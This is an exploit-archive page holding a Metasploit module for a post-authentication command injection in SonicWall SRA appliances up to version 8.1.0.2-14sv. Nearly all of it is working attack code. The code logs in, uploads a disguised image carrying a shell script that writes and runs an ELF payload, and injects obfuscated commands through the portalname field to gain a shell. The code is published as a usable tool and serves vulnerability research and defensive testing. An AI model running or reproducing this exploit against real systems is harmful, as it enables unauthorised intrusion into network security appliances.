Sonicwall importlogo/sitecustomization Remote Command Injection

2017.07.21
Credit: xort
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

# Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity # Date: 12/25/2016 # Exploit Author: xort @ Critical Start # Vendor Homepage: www.sonicwall.com # Software Link: sonicwall.com/products/sra-virtual-appliance # Version: 8.1.0.2-14sv # Tested on: 8.1.0.2-14sv # # CVE : (awaiting cve) # vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded) # vuln2: sitecustomization.cgi / portalname (filename) parameter # Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. # # xort @ Critical Start require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit', 'Description' => %q{ This module exploits a remote command execution vulnerability in the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in a section of the machine's adminstrative infertface for performing configurations related to on-connect scripts to be launched for users's connecting. }, 'Author' => [ 'xort@Critical Start', # vuln + metasploit module ], 'Version' => '$Revision: 1 $', 'References' => [ [ 'none', 'none'], ], 'Platform' => [ 'linux'], 'Privileged' => true, 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell' ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'ConnectionType' => 'find', } }, 'Targets' => [ ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 0)) register_options( [ OptString.new('PASSWORD', [ false, 'Device password', "" ]), OptString.new('USERNAME', [ true, 'Device password', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(443), ], self.class) end def do_login(username, password_clear) vprint_status( "Logging into machine with credentials...\n" ) # vars timeout = 1550; # send request res = send_request_cgi( { 'method' => 'POST', 'uri' => "/cgi-bin/userLogin", 'headers' => { 'Connection' => 'close', 'Content-Type' => 'application/x-www-form-urlencoded', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0', }, 'vars_post' => { 'username' => username, 'password' => password_clear, 'domain' => 'LocalDomain', 'loginButton' => 'Login', 'state' => 'login', 'login' => 'true', 'VerifyCert' => '0', 'portalname' => 'VirtualOffice', 'ajax' => 'true' }, }, timeout) swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0] return swap end def upload_payload(swap_cookie, file_data) vprint_status( "Upload Payload..." ) # vars timeout = 1550; upload_req = [ [ "portalName","VirtualOffice" ], [ "defaultLogo","0" ], [ "uiVersion","2" ], [ "bannerBackground", "light" ] ] boundary = "---------------------------" + Rex::Text.rand_text_numeric(34) post_data = "" # assemble upload_req parms upload_req.each do |xreq| post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n" post_data << "#{xreq[1]}\r\n" end # add malicious file post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n" post_data << "Content-Type: image/jpeg\r\n\r\n" post_data << "#{file_data}\r\n" post_data << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-bin/importlogo?uploadId=1", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'headers' => { 'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", 'Cookie' => 'swap='+swap_cookie+';', } }, timeout) end def run_command(swap_cookie, cmd) vprint_status( "Running Command...\n" ) # vars timeout = 1550; vprint_status("creating filename on target: #{cmd}\n") upload_req = [ [ "portalname", cmd ], [ "portaltitle","Virtual Office" ], [ "bannertitle","Virtual Office" ], [ "bannermessage","<h1>Dell Sonicwall</h1>" ], [ "portalUrl","https://192.168.84.155/portal/xxx" ], [ "loginflag","on" ], [ "bannerflag","on" ], [ "httpOnlyCookieFlag","on" ], [ "cachecontrol","on" ], [ "uniqueness", "on" ], [ "duplicateLoginAction", "1" ], [ "livetilesmalllogo", "" ], [ "livetilemediumlogo", "" ], [ "livetilewidelogo", "" ], [ "livetilelargelogo", "" ], [ "livetilebackground", "#0085C3" ], [ "livetilename", "" ], [ "home2page", "on" ], [ "allowNetExtender", "on" ], [ "virtualpassagepage", "on" ], [ "cifsdirectpage", "on" ], [ "cifspage", "on" ], [ "cifsappletpage", "on" ], [ "cifsapplet", "on" ], [ "cifsdefaultfilesharepath", "" ], [ "home3page", "on" ], [ "showAllBookmarksTab", "on" ], [ "showDefaultTabs", "on" ], [ "showCopyright", "on" ], [ "showSidebar", "on" ], [ "showUserPortalHelpButton", "on" ], [ "userPortalHelpURL", "" ], [ "showUserPortalOptionsButton", "on" ], [ "homemessage", "<h1>Welcome to the Dell SonicWALL Virtual Office</h1>" ], [ "hptabletitle", "Virtual Office Bookmarks" ], [ "vhostName", "www.#{Rex::Text.rand_text_hex(32)}.com" ], [ "vhostAlias", "" ], [ "vhostInterface", "ALL" ], [ "vhostEnableKeepAlive", "on" ], [ "cdssodn", ".yahoo.com" ], [ "enableSSLForwardSecrecy", "0" ], [ "enableSSLProxyVerify", "0" ], [ "sslProxyProtocol", "0" ], [ "loginSchedule", "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ], [ "formsection", "main" ], [ "doAdd", "1" ], [ "cgiaction", "1" ], [ "themename", "stylesonicwall" ], [ "onlinehelp", "" ], [ "tmp_currentVhostName", "" ], [ "tmp_currentVhostAlias", "" ], [ "tmp_currentVhostInterface", "ALL" ], [ "tmp_currentVhostIp", "" ], [ "tmp_currentVhostIPv6", "" ], [ "tmp_currentVhostEnableHTTP", "0" ], [ "tmp_currentVhostEnableKeepAlive", "1" ], [ "tmp_currentVhostCert", "" ], [ "tmp_currEnforceSSLProxyProtocol", "0" ], [ "tmp_currSSLProxyProtocol", "0" ], [ "tmp_currEnableSSLProxyVerify", "0" ], [ "tmp_currEnableSSLForwardSecrecy", "0" ], [ "tmp_currentVhostOffloadRewrite", "" ], [ "restartWS", "1" ], [ "reuseFavicon", "" ], [ "oldReuseFavicon", "" ], ] boundary = "---------------------------" + Rex::Text.rand_text_numeric(34) post_data = "" # assemble upload_req parms upload_req.each do |xreq| post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n" post_data << "#{xreq[1]}\r\n" end post_data << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-bin/sitecustomization", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'headers' => { 'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", 'Cookie' => 'swap='+swap_cookie+';', } }, timeout) end def run_command_file(swap_cookie) # use prefix so exploit can be re-used (unique portalname requirment) prefix = Rex::Text.rand_text_numeric(5) run_command(swap_cookie, "#{prefix}$({find,$({perl,-e,'print(chr(0x2f))'}),-name,VirtualOffice.gif,-exec,cp,{},qz,$({perl,-e,'print(chr(0x3b))'})})") run_command(swap_cookie, "#{prefix}$({chmod,777,qz})") run_command(swap_cookie, "#{prefix}$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz})") end def exploit # timeout timeout = 1550; # params password_clear = datastore['PASSWORD'] user = datastore['USERNAME'] # do authentication swap_cookie = do_login(user, password_clear) vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n") # pause to let things run smoothly #sleep(5) #if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') # kill stale calls to bdump from previous exploit calls for re-use upload_payload(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload) upload_payload(swap_cookie, ("#!/bin/bash\necho -e \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m; /tmp/m")) run_command_file(swap_cookie) # wait for magic handler end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top